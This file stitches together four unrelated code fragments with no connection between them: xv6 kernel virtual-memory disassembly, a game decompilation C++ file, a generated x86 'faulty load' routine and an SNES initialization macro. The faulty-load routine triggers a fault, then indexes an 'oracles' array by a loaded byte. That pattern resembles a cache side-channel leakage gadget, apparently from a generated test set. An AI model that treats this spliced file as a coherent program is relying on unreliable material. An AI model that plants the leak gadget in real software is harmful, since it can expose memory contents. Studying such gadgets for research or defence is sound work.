5b pop %ebx 80106c49: 5e pop %esi 80106c4a: 5f pop %edi 80106c4b: 5d pop %ebp 80106c4c: c3 ret 80106c4d: 8d 76 00 lea 0x0(%esi),%esi 80106c50: 8b 7d e4 mov -0x1c(%ebp),%edi 80106c53: 8d 65 f4 lea -0xc(%ebp),%esp 80106c56: 5b pop %ebx 80106c57: 89 f8 mov %edi,%eax 80106c59: 5e pop %esi 80106c5a: 5f pop %edi 80106c5b: 5d pop %ebp 80106c5c: c3 ret 80106c5d: 8d 76 00 lea 0x0(%esi),%esi 80106c60: 89 c1 mov %eax,%ecx 80106c62: 8b 55 10 mov 0x10(%ebp),%edx 80106c65: 8b 45 08 mov 0x8(%ebp),%eax return 0; 80106c68: 31 ff xor %edi,%edi 80106c6a: e8 41 fb ff ff call 801067b0 <deallocuvm.part.0> 80106c6f: eb 92 jmp 80106c03 <allocuvm+0xb3> 80106c71: eb 0d jmp 80106c80 <deallocuvm> 80106c73: 90 nop 80106c74: 90 nop 80106c75: 90 nop 80106c76: 90 nop 80106c77: 90 nop 80106c78: 90 nop 80106c79: 90 nop 80106c7a: 90 nop 80106c7b: 90 nop 80106c7c: 90 nop 80106c7d: 90 nop 80106c7e: 90 nop 80106c7f: 90 nop 80106c80 <deallocuvm>: { 80106c80: 55 push %ebp 80106c81: 89 e5 mov %esp,%ebp 80106c83: 8b 55 0c mov 0xc(%ebp),%edx 80106c86: 8b 4d 10 mov 0x10(%ebp),%ecx 80106c89: 8b 45 08 mov 0x8(%ebp),%eax if(newsz >= oldsz) 80106c8c: 39 d1 cmp %edx,%ecx 80106c8e: 73 10 jae 80106ca0 <deallocuvm+0x20> } 80106c90: 5d pop %ebp 80106c91: e9 1a fb ff ff jmp 801067b0 <deallocuvm.part.0> 80106c96: 8d 76 00 lea 0x0(%esi),%esi 80106c99: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80106ca0: 89 d0 mov %edx,%eax 80106ca2: 5d pop %ebp 80106ca3: c3 ret 80106ca4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80106caa: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 80106cb0 <freevm>: // Free a page table and all the physical memory pages // in the user part. void freevm(pde_t *pgdir) { 80106cb0: 55 push %ebp 80106cb1: 89 e5 mov %esp,%ebp 80106cb3: 57 push %edi 80106cb4: 56 push %esi 80106cb5: 53 push %ebx 80106cb6: 83 ec 0c sub $0xc,%esp 80106cb9: 8b 75 08 mov 0x8(%ebp),%esi uint i; if(pgdir == 0) 80106cbc: 85 f6 test %esi,%esi 80106cbe: 74 59 je 80106d19 <freevm+0x69> 80106cc0: 31 c9 xor %ecx,%ecx 80106cc2: ba 00 00 00 80 mov $0x80000000,%edx 80106cc7: 89 f0 mov %esi,%eax 80106cc9: e8 e2 fa ff ff call 801067b0 <deallocuvm.part.0> 80106cce: 89 f3 mov %esi,%ebx 80106cd0: 8d be 00 10 00 00 lea 0x1000(%esi),%edi 80106cd6: eb 0f jmp 80106ce7 <freevm+0x37> 80106cd8: 90 nop 80106cd9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80106ce0: 83 c3 04 add $0x4,%ebx panic("freevm: no pgdir"); deallocuvm(pgdir, KERNBASE, 0); for(i = 0; i < NPDENTRIES; i++){ 80106ce3: 39 fb cmp %edi,%ebx 80106ce5: 74 23 je 80106d0a <freevm+0x5a> if(pgdir[i] & PTE_P){ 80106ce7: 8b 03 mov (%ebx),%eax 80106ce9: a8 01 test $0x1,%al 80106ceb: 74 f3 je 80106ce0 <freevm+0x30> char * v = P2V(PTE_ADDR(pgdir[i])); 80106ced: 25 00 f0 ff ff and $0xfffff000,%eax kfree(v); 80106cf2: 83 ec 0c sub $0xc,%esp 80106cf5: 83 c3 04 add $0x4,%ebx char * v = P2V(PTE_ADDR(pgdir[i])); 80106cf8: 05 00 00 00 80 add $0x80000000,%eax kfree(v); 80106cfd: 50 push %eax 80106cfe: e8 0d b6 ff ff call 80102310 <kfree> 80106d03: 83 c4 10 add $0x10,%esp for(i = 0; i < NPDENTRIES; i++){ 80106d06: 39 fb cmp %edi,%ebx 80106d08: 75 dd jne 80106ce7 <freevm+0x37> } } kfree((char*)pgdir); 80106d0a: 89 75 08 mov %esi,0x8(%ebp) } 80106d0d: 8d 65 f4 lea -0xc(%ebp),%esp 80106d10: 5b pop %ebx 80106d11: 5e pop %esi 80106d12: 5f pop %edi 80106d13: 5d pop %ebp kfree((char*)pgdir); 80106d14: e9 f7 b5 ff ff jmp 80102310 <kfree> panic("freevm: no pgdir"); 80106d19: 83 ec 0c sub $0xc,%esp 80106d1c: 68 c1 79 10 80 push $0x801079c1 80106d21: e8 6a 96 ff ff call 80100390 <panic> 80106d26: 8d 76 00 lea 0x0(%esi),%esi 80106d29: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80106d30 <setupkvm>: { 80106d30: 55 push %ebp 80106d31: 89 e5 mov %esp,%ebp 80106d33: 56 push %esi 80106d34: 53 push %ebx if((pgdir = (pde_t*)kalloc()) == 0) 80106d35: e8 86 b7 ff ff call 801024c0 <kalloc> 80106d3a: 85 c0 test %eax,%eax 80106d3c: 89 c6 mov %eax,%esi 80106d3e: 74 42 je 80106d82 <setupkvm+0x52> memset(pgdir, 0, PGSIZE); 80106d40: 83 ec 04 sub $0x4,%esp for(k = kmap; k < &kmap[NELEM(kmap)]; k++) 80106d43: bb 20 a4 10 80 mov $0x8010a420,%ebx memset(pgdir, 0, PGSIZE); 80106d48: 68 00 10 00 00 push $0x1000 80106d4d: 6a 00 push $0x0 80106d4f: 50 push %eax 80106d50: e8 cb d7 ff ff call 80104520 <memset> 80106d55: 83 c4 10 add $0x10,%esp (uint)k->phys_start, k->perm) < 0) { 80106d58: 8b 43 04 mov 0x4(%ebx),%eax if(mappages(pgdir, k->virt, k->phys_end - k->phys_start, 80106d5b: 8b 4b 08 mov 0x8(%ebx),%ecx 80106d5e: 83 ec 08 sub $0x8,%esp 80106d61: 8b 13 mov (%ebx),%edx 80106d63: ff 73 0c pushl 0xc(%ebx) 80106d66: 50 push %eax 80106d67: 29 c1 sub %eax,%ecx 80106d69: 89 f0 mov %esi,%eax 80106d6b: e8 b0 f9 ff ff call 80106720 <mappages> 80106d70: 83 c4 10 add $0x10,%esp 80106d73: 85 c0 test %eax,%eax 80106d75: 78 19 js 80106d90 <setupkvm+0x60> for(k = kmap; k < &kmap[NELEM(kmap)]; k++) 80106d77: 83 c3 10 add $0x10,%ebx 80106d7a: 81 fb 60 a4 10 80 cmp $0x8010a460,%ebx 80106d80: 75 d6 jne 80106d58 <setupkvm+0x28> } 80106d82: 8d 65 f8 lea -0x8(%ebp),%esp 80106d85: 89 f0 mov %esi,%eax 80106d87: 5b pop %ebx 80106d88: 5e pop %esi 80106d89: 5d pop %ebp 80106d8a: c3 ret 80106d8b: 90 nop 80106d8c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi freevm(pgdir); 80106d90: 83 ec 0c sub $0xc,%esp 80106d93: 56 push %esi return 0; 80106d94: 31 f6 xor %esi,%esi freevm(pgdir); 80106d96: e8 15 ff ff ff call 80106cb0 <freevm> return 0; 80106d9b: 83 c4 10 add $0x10,%esp } 80106d9e: 8d 65 f8 lea -0x8(%ebp),%esp 80106da1: 89 f0 mov %esi,%eax 80106da3: 5b pop %ebx 80106da4: 5e pop %esi 80106da5: 5d pop %ebp 80106da6: c3 ret 80106da7: 89 f6 mov %esi,%esi 80106da9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80106db0 <kvmalloc>: { 80106db0: 55 push %ebp 80106db1: 89 e5 mov %esp,%ebp 80106db3: 83 ec 08 sub $0x8,%esp kpgdir = setupkvm(); 80106db6: e8 75 ff ff ff call 80106d30 <setupkvm> 80106dbb: a3 a4 54 11 80 mov %eax,0x801154a4 lcr3(V2P(kpgdir)); // switch to the kernel page table 80106dc0: 05 00 00 00 80 add $0x80000000,%eax 80106dc5: 0f 22 d8 mov %eax,%cr3 } 80106dc8: c9 leave 80106dc9: c3 ret 80106dca: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80106dd0 <clearpteu>: // Clear PTE_U on a page. Used to create an inaccessible // page beneath the user stack. void clearpteu(pde_t *pgdir, char *uva) { 80106dd0: 55 push %ebp pte_t *pte; pte = walkpgdir(pgdir, uva, 0); 80106dd1: 31 c9 xor %ecx,%ecx { 80106dd3: 89 e5 mov %esp,%ebp 80106dd5: 83 ec 08 sub $0x8,%esp pte = walkpgdir(pgdir, uva, 0); 80106dd8: 8b 55 0c mov 0xc(%ebp),%edx 80106ddb: 8b 45 08 mov 0x8(%ebp),%eax 80106dde: e8 bd f8 ff ff call 801066a0 <walkpgdir> if(pte == 0) 80106de3: 85 c0 test %eax,%eax 80106de5: 74 05 je 80106dec <clearpteu+0x1c> panic("clearpteu"); *pte &= ~PTE_U; 80106de7: 83 20 fb andl $0xfffffffb,(%eax) } 80106dea: c9 leave 80106deb: c3 ret panic("clearpteu"); 80106dec: 83 ec 0c sub $0xc,%esp 80106def: 68 d2 79 10 80 push $0x801079d2 80106df4: e8 97 95 ff ff call 80100390 <panic> 80106df9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80106e00 <copyuvm>: // Given a parent process's page table, create a copy // of it for a child. pde_t* copyuvm(pde_t *pgdir, uint sz) { 80106e00: 55 push %ebp 80106e01: 89 e5 mov %esp,%ebp 80106e03: 57 push %edi 80106e04: 56 push %esi 80106e05: 53 push %ebx 80106e06: 83 ec 1c sub $0x1c,%esp pde_t *d; pte_t *pte; uint pa, i, flags; char *mem; if((d = setupkvm()) == 0) 80106e09: e8 22 ff ff ff call 80106d30 <setupkvm> 80106e0e: 85 c0 test %eax,%eax 80106e10: 89 45 e0 mov %eax,-0x20(%ebp) 80106e13: 0f 84 9f 00 00 00 je 80106eb8 <copyuvm+0xb8> return 0; for(i = 0; i < sz; i += PGSIZE){ 80106e19: 8b 4d 0c mov 0xc(%ebp),%ecx 80106e1c: 85 c9 test %ecx,%ecx 80106e1e: 0f 84 94 00 00 00 je 80106eb8 <copyuvm+0xb8> 80106e24: 31 ff xor %edi,%edi 80106e26: eb 4a jmp 80106e72 <copyuvm+0x72> 80106e28: 90 nop 80106e29: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi panic("copyuvm: page not present"); pa = PTE_ADDR(*pte); flags = PTE_FLAGS(*pte); if((mem = kalloc()) == 0) goto bad; memmove(mem, (char*)P2V(pa), PGSIZE); 80106e30: 83 ec 04 sub $0x4,%esp 80106e33: 81 c3 00 00 00 80 add $0x80000000,%ebx 80106e39: 68 00 10 00 00 push $0x1000 80106e3e: 53 push %ebx 80106e3f: 50 push %eax 80106e40: e8 8b d7 ff ff call 801045d0 <memmove> if(mappages(d, (void*)i, PGSIZE, V2P(mem), flags) < 0) { 80106e45: 58 pop %eax 80106e46: 8d 86 00 00 00 80 lea -0x80000000(%esi),%eax 80106e4c: b9 00 10 00 00 mov $0x1000,%ecx 80106e51: 5a pop %edx 80106e52: ff 75 e4 pushl -0x1c(%ebp) 80106e55: 50 push %eax 80106e56: 89 fa mov %edi,%edx 80106e58: 8b 45 e0 mov -0x20(%ebp),%eax 80106e5b: e8 c0 f8 ff ff call 80106720 <mappages> 80106e60: 83 c4 10 add $0x10,%esp 80106e63: 85 c0 test %eax,%eax 80106e65: 78 61 js 80106ec8 <copyuvm+0xc8> for(i = 0; i < sz; i += PGSIZE){ 80106e67: 81 c7 00 10 00 00 add $0x1000,%edi 80106e6d: 39 7d 0c cmp %edi,0xc(%ebp) 80106e70: 76 46 jbe 80106eb8 <copyuvm+0xb8> if((pte = walkpgdir(pgdir, (void *) i, 0)) == 0) 80106e72: 8b 45 08 mov 0x8(%ebp),%eax 80106e75: 31 c9 xor %ecx,%ecx 80106e77: 89 fa mov %edi,%edx 80106e79: e8 22 f8 ff ff call 801066a0 <walkpgdir> 80106e7e: 85 c0 test %eax,%eax 80106e80: 74 61 je 80106ee3 <copyuvm+0xe3> if(!(*pte & PTE_P)) 80106e82: 8b 00 mov (%eax),%eax 80106e84: a8 01 test $0x1,%al 80106e86: 74 4e je 80106ed6 <copyuvm+0xd6> pa = PTE_ADDR(*pte); 80106e88: 89 c3 mov %eax,%ebx flags = PTE_FLAGS(*pte); 80106e8a: 25 ff 0f 00 00 and $0xfff,%eax pa = PTE_ADDR(*pte); 80106e8f: 81 e3 00 f0 ff ff and $0xfffff000,%ebx flags = PTE_FLAGS(*pte); 80106e95: 89 45 e4 mov %eax,-0x1c(%ebp) if((mem = kalloc()) == 0) 80106e98: e8 23 b6 ff ff call 801024c0 <kalloc> 80106e9d: 85 c0 test %eax,%eax 80106e9f: 89 c6 mov %eax,%esi 80106ea1: 75 8d jne 80106e30 <copyuvm+0x30> } } return d; bad: freevm(d); 80106ea3: 83 ec 0c sub $0xc,%esp 80106ea6: ff 75 e0 pushl -0x20(%ebp) 80106ea9: e8 02 fe ff ff call 80106cb0 <freevm> return 0; 80106eae: 83 c4 10 add $0x10,%esp 80106eb1: c7 45 e0 00 00 00 00 movl $0x0,-0x20(%ebp) } 80106eb8: 8b 45 e0 mov -0x20(%ebp),%eax 80106ebb: 8d 65 f4 lea -0xc(%ebp),%esp 80106ebe: 5b pop %ebx 80106ebf: 5e pop %esi 80106ec0: 5f pop %edi 80106ec1: 5d pop %ebp 80106ec2: c3 ret 80106ec3: 90 nop 80106ec4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi kfree(mem); 80106ec8: 83 ec 0c sub $0xc,%esp 80106ecb: 56 push %esi 80106ecc: e8 3f b4 ff ff call 80102310 <kfree> goto bad; 80106ed1: 83 c4 10 add $0x10,%esp 80106ed4: eb cd jmp 80106ea3 <copyuvm+0xa3> panic("copyuvm: page not present"); 80106ed6: 83 ec 0c sub $0xc,%esp 80106ed9: 68 f6 79 10 80 push $0x801079f6 80106ede: e8 ad 94 ff ff call 80100390 <panic> panic("copyuvm: pte should exist"); 80106ee3: 83 ec 0c sub $0xc,%esp 80106ee6: 68 dc 79 10 80 push $0x801079dc 80106eeb: e8 a0 94 ff ff call 80100390 <panic> 80106ef0 <uva2ka>: //PAGEBREAK! // Map user virtual address to kernel address. char* uva2ka(pde_t *pgdir, char *uva) { 80106ef0: 55 push %ebp pte_t *pte; pte = walkpgdir(pgdir, uva, 0); 80106ef1: 31 c9 xor %ecx,%ecx { 80106ef3: 89 e5 mov %esp,%ebp 80106ef5: 83 ec 08 sub $0x8,%esp pte = walkpgdir(pgdir, uva, 0); 80106ef8: 8b 55 0c mov 0xc(%ebp),%edx 80106efb: 8b 45 08 mov 0x8(%ebp),%eax 80106efe: e8 9d f7 ff ff call 801066a0 <walkpgdir> if((*pte & PTE_P) == 0) 80106f03: 8b 00 mov (%eax),%eax return 0; if((*pte & PTE_U) == 0) return 0; return (char*)P2V(PTE_ADDR(*pte)); } 80106f05: c9 leave if((*pte & PTE_U) == 0) 80106f06: 89 c2 mov %eax,%edx return (char*)P2V(PTE_ADDR(*pte)); 80106f08: 25 00 f0 ff ff and $0xfffff000,%eax if((*pte & PTE_U) == 0) 80106f0d: 83 e2 05 and $0x5,%edx return (char*)P2V(PTE_ADDR(*pte)); 80106f10: 05 00 00 00 80 add $0x80000000,%eax 80106f15: 83 fa 05 cmp $0x5,%edx 80106f18: ba 00 00 00 00 mov $0x0,%edx 80106f1d: 0f 45 c2 cmovne %edx,%eax } 80106f20: c3 ret 80106f21: eb 0d jmp 80106f30 <copyout> 80106f23: 90 nop 80106f24: 90 nop 80106f25: 90 nop 80106f26: 90 nop 80106f27: 90 nop 80106f28: 90 nop 80106f29: 90 nop 80106f2a: 90 nop 80106f2b: 90 nop 80106f2c: 90 nop 80106f2d: 90 nop 80106f2e: 90 nop 80106f2f: 90 nop 80106f30 <copyout>: // Copy len bytes from p to user address va in page table pgdir. // Most useful when pgdir is not the current page table. // uva2ka ensures this only works for PTE_U pages. int copyout(pde_t *pgdir, uint va, void *p, uint len) { 80106f30: 55 push %ebp 80106f31: 89 e5 mov %esp,%ebp 80106f33: 57 push %edi 80106f34: 56 push %esi 80106f35: 53 push %ebx 80106f36: 83 ec 1c sub $0x1c,%esp 80106f39: 8b 5d 14 mov 0x14(%ebp),%ebx 80106f3c: 8b 55 0c mov 0xc(%ebp),%edx 80106f3f: 8b 7d 10 mov 0x10(%ebp),%edi char *buf, *pa0; uint n, va0; buf = (char*)p; while(len > 0){ 80106f42: 85 db test %ebx,%ebx 80106f44: 75 40 jne 80106f86 <copyout+0x56> 80106f46: eb 70 jmp 80106fb8 <copyout+0x88> 80106f48: 90 nop 80106f49: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi va0 = (uint)PGROUNDDOWN(va); pa0 = uva2ka(pgdir, (char*)va0); if(pa0 == 0) return -1; n = PGSIZE - (va - va0); 80106f50: 8b 55 e4 mov -0x1c(%ebp),%edx 80106f53: 89 f1 mov %esi,%ecx 80106f55: 29 d1 sub %edx,%ecx 80106f57: 81 c1 00 10 00 00 add $0x1000,%ecx 80106f5d: 39 d9 cmp %ebx,%ecx 80106f5f: 0f 47 cb cmova %ebx,%ecx if(n > len) n = len; memmove(pa0 + (va - va0), buf, n); 80106f62: 29 f2 sub %esi,%edx 80106f64: 83 ec 04 sub $0x4,%esp 80106f67: 01 d0 add %edx,%eax 80106f69: 51 push %ecx 80106f6a: 57 push %edi 80106f6b: 50 push %eax 80106f6c: 89 4d e4 mov %ecx,-0x1c(%ebp) 80106f6f: e8 5c d6 ff ff call 801045d0 <memmove> len -= n; buf += n; 80106f74: 8b 4d e4 mov -0x1c(%ebp),%ecx while(len > 0){ 80106f77: 83 c4 10 add $0x10,%esp va = va0 + PGSIZE; 80106f7a: 8d 96 00 10 00 00 lea 0x1000(%esi),%edx buf += n; 80106f80: 01 cf add %ecx,%edi while(len > 0){ 80106f82: 29 cb sub %ecx,%ebx 80106f84: 74 32 je 80106fb8 <copyout+0x88> va0 = (uint)PGROUNDDOWN(va); 80106f86: 89 d6 mov %edx,%esi pa0 = uva2ka(pgdir, (char*)va0); 80106f88: 83 ec 08 sub $0x8,%esp va0 = (uint)PGROUNDDOWN(va); 80106f8b: 89 55 e4 mov %edx,-0x1c(%ebp) 80106f8e: 81 e6 00 f0 ff ff and $0xfffff000,%esi pa0 = uva2ka(pgdir, (char*)va0); 80106f94: 56 push %esi 80106f95: ff 75 08 pushl 0x8(%ebp) 80106f98: e8 53 ff ff ff call 80106ef0 <uva2ka> if(pa0 == 0) 80106f9d: 83 c4 10 add $0x10,%esp 80106fa0: 85 c0 test %eax,%eax 80106fa2: 75 ac jne 80106f50 <copyout+0x20> } return 0; } 80106fa4: 8d 65 f4 lea -0xc(%ebp),%esp return -1; 80106fa7: b8 ff ff ff ff mov $0xffffffff,%eax } 80106fac: 5b pop %ebx 80106fad: 5e pop %esi 80106fae: 5f pop %edi 80106faf: 5d pop %ebp 80106fb0: c3 ret 80106fb1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80106fb8: 8d 65 f4 lea -0xc(%ebp),%esp return 0; 80106fbb: 31 c0 xor %eax,%eax } 80106fbd: 5b pop %ebx 80106fbe: 5e pop %esi 80106fbf: 5f pop %edi 80106fc0: 5d pop %ebp 80106fc1: c3 ret
#include "P2JME/SimpleMessage.h" #include "JSystem/JUT/JUTFont.h" namespace P2JME { /* * --INFO-- * Address: 8043DBEC * Size: 000004 */ SimpleMessage::SimpleMessage(void) { } /* * --INFO-- * Address: 8043DBF0 * Size: 00006C */ void SimpleMessage::init() { m_processor = new P2JME::TRenderingProcessor(gP2JMEMgr->m_msgRef); m_processor->setFont(gP2JMEMgr->m_font); m_processor->m_jmeFont = gP2JMEMgr->m_font; } /* * --INFO-- * Address: 8043DC5C * Size: 000080 */ void SimpleMessage::drawMessageID(Graphics& gfx, unsigned long lowerHalf, unsigned long upperHalf) { m_processor->preProcID(lowerHalf, upperHalf); JMessage::TRenderingProcessor* jmProc = static_cast<JMessage::TRenderingProcessor*>(m_processor); jmProc->reset_(nullptr); jmProc->setBegin_messageID(lowerHalf, upperHalf, nullptr); jmProc->process(nullptr); } } // namespace P2JME
.global s_prepare_buffers s_prepare_buffers: push %r13 push %r15 push %rbp push %rcx push %rdi push %rdx push %rsi lea addresses_UC_ht+0x15e08, %rsi lea addresses_normal_ht+0x11aa5, %rdi nop nop nop nop nop inc %rdx mov $109, %rcx rep movsw nop nop nop nop add $14655, %r13 lea addresses_UC_ht+0xcd48, %r15 nop nop xor %rdi, %rdi mov $0x6162636465666768, %rcx movq %rcx, %xmm2 movups %xmm2, (%r15) nop nop add $18475, %rcx lea addresses_UC_ht+0x13898, %rsi lea addresses_D_ht+0x16d98, %rdi nop nop dec %rbp mov $69, %rcx rep movsl nop nop nop nop add $19457, %rdx lea addresses_A_ht+0x21a8, %rdi nop nop nop nop nop sub %rbp, %rbp mov $0x6162636465666768, %rsi movq %rsi, %xmm5 movups %xmm5, (%rdi) nop xor %r15, %r15 pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %r15 pop %r13 ret .global s_faulty_load s_faulty_load: push %r13 push %r14 push %r15 push %rbp push %rcx push %rdi push %rsi // REPMOV lea addresses_PSE+0xe108, %rsi lea addresses_normal+0xb8c8, %rdi and $5093, %rbp mov $47, %rcx rep movsw // Exception!!! mov (0), %rsi nop nop nop nop nop add $48234, %rdi // Store lea addresses_WT+0x16b48, %rcx nop nop nop nop cmp %rbp, %rbp movl $0x51525354, (%rcx) nop nop nop xor $14987, %rbp // Store lea addresses_WT+0x1f358, %r15 nop nop nop nop cmp $12372, %r14 mov $0x5152535455565758, %rbp movq %rbp, %xmm4 movups %xmm4, (%r15) nop nop inc %r14 // Store lea addresses_A+0xcd48, %rdi nop nop nop cmp $3211, %r15 movb $0x51, (%rdi) nop nop nop xor %r13, %r13 // Load lea addresses_PSE+0x171a0, %r14 nop xor $27462, %rcx mov (%r14), %edi nop nop and %rsi, %rsi // Load mov $0x2bc3730000000368, %rcx nop nop nop nop add %rdi, %rdi movb (%rcx), %r15b nop nop nop nop nop xor %rdi, %rdi // Store lea addresses_WC+0xe498, %rdi cmp $31512, %r14 mov $0x5152535455565758, %r13 movq %r13, %xmm5 movups %xmm5, (%rdi) nop and %rbp, %rbp // Store lea addresses_normal+0x1e308, %r15 nop nop nop xor $23004, %rcx mov $0x5152535455565758, %r14 movq %r14, %xmm5 vmovups %ymm5, (%r15) nop nop nop nop nop sub $57634, %r15 // Store lea addresses_RW+0xd148, %rdi nop nop cmp %rsi, %rsi movb $0x51, (%rdi) sub $50856, %r14 // Faulty Load lea addresses_A+0x11548, %r15 sub %r14, %r14 vmovups (%r15), %ymm5 vextracti128 $0, %ymm5, %xmm5 vpextrq $0, %xmm5, %rdi lea oracles, %rbp and $0xff, %rdi shlq $12, %rdi mov (%rbp,%rdi,1), %rdi pop %rsi pop %rdi pop %rcx pop %rbp pop %r15 pop %r14 pop %r13 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_PSE', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_normal', 'congruent': 7, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 9, 'size': 4, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 3, 'size': 16, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 8, 'size': 1, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 5, 'size': 1, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'AVXalign': False, 'congruent': 3, 'size': 16, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 6, 'size': 32, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'AVXalign': False, 'congruent': 7, 'size': 1, 'same': False, 'NT': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': True, 'NT': False}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 10, 'size': 16, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 4, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 4, 'size': 16, 'same': False, 'NT': False}} {'00': 7586} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
; Source: http://en.wikibooks.org/wiki/Super_NES_Programming macro SnesInit() sei ; Disabled interrupts clc ; clear carry to switch to native mode xce ; Xchange carry & emulation bit. native mode rep #$18 ; Binary mode (decimal mode off), X/Y 16 bit ldx #$1FFF ; set stack to $1FFF txs jsr Init endmacro
